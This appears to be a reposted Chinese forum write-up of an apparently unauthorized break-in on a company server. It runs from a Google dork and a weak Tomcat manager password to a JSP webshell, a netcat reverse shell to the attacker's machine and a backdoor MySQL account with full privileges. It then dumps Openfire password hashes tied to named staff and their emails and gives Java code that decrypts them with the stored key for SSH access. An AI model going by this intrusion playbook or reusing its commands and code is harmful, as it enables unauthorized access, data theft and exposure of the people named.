首先要有切入点,那就是Tomcat/manager/html的管理员页面弱口令。
顺便科普一下,大家可以利用google hack来寻找tomcat页面
在浏览器中输入:intitle:Apache.Tomcat "Congratulations!"  
大概意思是:用点号来分割title关键词,用冒号来匹配页面内容

clip_image002[6]

当然如果/manager/html页面被删,或者管理员没有配置账号密码为可用,管理界面就不能访问。
上传Deploy一个JSP大马:

clip_image003[6]

Linux提权必备过程--利用webshell执行命令反弹:
netcat源文件进行编译:

gcc xiaobo.c -o xiaobo

本地进行监听:

nc -vv -lp 12345

在JSP大马中进行反弹:

./xiaobo  xx.xx.xx.xx 12345

注意:有时候会无法执行反弹,是因为文件没设置为可执行.那么就直接设置为全权限吧:

chmod 777 xiaobo

clip_image004[6]

我们先收集一下系统的信息:

lsb_release -a

clip_image006[6]

也就是说,我们要去找Ubuntu 12.04或者内核为3.2.0-38的exploit.
一般都是去exploit-db.com这个网站上找。
可惜很不幸的是,找了几个exploit都不行。
当然我们也可以找驱动或者第三方服务进行提权,反正我是没成功过.
继续收集服务器信息。用superscan扫描开放端口:

clip_image007[6]

用metasploit尝试了一下FTP和SSH的exploit和弱口令。无果
用浏览器尝试了那几个高段位的端口,发现也有个tomcat(无弱口令),以及一个sea-file团队协作管理平台。
google sea-file之后,发现是国人开发的一款开源的"分布式文件同步技术"的网盘。

仔细研究了一下该工具的安装配置,使用sqlite的嵌入数据库。上微博询问了开发团队该工具保存用户账号密码的文件位置:ccnet/peerMgr/usermgr.db。结果是文件夹ccnet无权限访问,但我还是找到一个存放账户名的seahub.db,打开看了一下:

clip_image008[6]

用上面的账号+弱口令+社工成功登陆:

clip_image009[6]

可以看到公司内部正在开发,或者已经完成的合同,项目计划,设计书等。可以知道这个服务器是某软件公司的。这些东西应该都是机密- -:

clip_image010[6]

先找找有没有漏洞上传什么的,看了一下开发语言: C/C++Python,吓尿了 - -。服务器也是自带的什么不认识的。所以放弃。权当收集信息用。
可以看到公司的成员列表和管理员:

clip_image011[6]

继续社工:
找tomcat下的工程,寻找保存的mysql密码。成功利用root密码,webshell登录mysql,(当然这里有个插曲就是我用的webshell无法连接mysql,或者不支持show databases,show tables等这些操作,所以自己重新改了源码)

数据库连接失败

com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException:  Cannot load connection class because of underlying exception:  'java.lang.NumberFormatException: For input string:  "3306;User=root;Password=testxx;DatabaseName=mysql"'.

为了方便查看数据,就直接开启外链。这里再顺便科普一下:
为了保护服务器,我就不使用root外链。免得被不明黑阔批量扫描弱口令爆菊.

创建一个允许远程连接的用户hack,密码hack,赋予所有权限

CREATE USER hack IDENTIFIED BY 'hack';

grant all privileges on *.* to hack @"%" identified by "hack";

之后就用mysql workbench连接(开发人员专用哟~嘿嘿)
插曲:据说linux下的mysql可以利用system命令提权。我windows 命令行下远程连接mysql,尝试system user add命令失败。去mysql官方,查看官方文档,确实有system函数.BT5命令行下远程连接mysql,system user add成功,囧的是用户居然添加在我BT5上面。同学们都该知道mysql system函数的意思了吧?
回归正题:我现在要收集mysql数据库存的所有用户账号和密码,进一步来社工linux root密码进行远程ftp或者ssh操作。
解密了一些md5,基本都是弱口令。
亮点来了:openfire数据库。
看着名字我就觉得有点来头,谷歌之后得到:Openfire 是实时的基于WEB的即时消息传输平台,是原来的Jive Messenger

admin

de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71

Administrator

[email protected]

caifei

0db546455b7e6a8bd1905e34028ca31704ae5cf27a65e1c2

蔡飞

[email protected]

chensong

e54b7b46c4862dd1ea159a174eb1e26d6b6c1fac89a5dc73

陈松

[email protected]

liqiang

4f21a0de9b6a32aadd0a6bd0cf53a82da6504bc85111556e

李强

[email protected]

liqing

0d24c065be1fdd4db3dde16d39b8907f8248a8a4a7f84c75

李青

[email protected]

liuhuayi

5809dadd4631e859d995d93ff0587524f75c541ab55f23c6

刘华宜

[email protected]

qiulibo

8c14fda295def40ba10bcd9b78ee869ce5a9880eaa8c6eb6

邱李波

[email protected]

xuliang

ba8dc396077d18e3a5683455a92d808adb06d8ac74f31fa3

徐亮

[email protected]

zhangxin

b88349048d4b55b91f9a942652b89cf36d75cc2e8ba2cfd6

张欣

[email protected]

拿去cmd5上解密,无法识别加密类型。于是呼,本文的重点,openfire解密.
openfire也是开源的软件,密码采用的是自己设计的算法。
openfire提供二次开发。谷歌之后发现资料蛮多了。所以,我们就来搭个二次开发环境,利用openfire提供的解密类进行解密吧~

Openfire是通过org.jivesoftware.util.Blowfish.java实现的加密。

使用Blowfish的encryptString(String password)和decryptString(String encryptedString)两个方法执行加解密。

可new Blowfish(String passwordKey)需要passwordKey,上哪里找?

原来在openfire的数据库中有表ofproperty,其中就有passwordKey的值,这是openfire安装时自动生成的。

      openfire每次自动生成数据库的时候这个属性都是不同的,所以如果数据库变化了,原来的用户信息导入是没有用的。

可以独立使用org.jivesoftware.util.Blowfish.java进行加解密操作。

在eclipse中新建java工程,在官网上找到org.jivesoftware.util.Blowfish.java类,导入工程。
再写个DecryPwd用来解密。

public class DecryPwd {

        /**

         * @param args

         */

        public static void main(String[] args) {

                // TODO Auto-generated method stub

                String resultPWD = null; 

        String passWordKey = "566251afC9Lk39w"; //passwordKey,从openfire数据库中读取

        Blowfish blowFish = new Blowfish(passWordKey); //根据加密key初始化

        resultPWD = blowFish.decryptString("de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71");  

        System.out.println(resultPWD);  //返回结果

        }

}

运行成功解密!
接着就拿着账号密码去ssh啦。过程就到此。

clip_image012[6]

转自习科论坛

源链接

Hacking more

...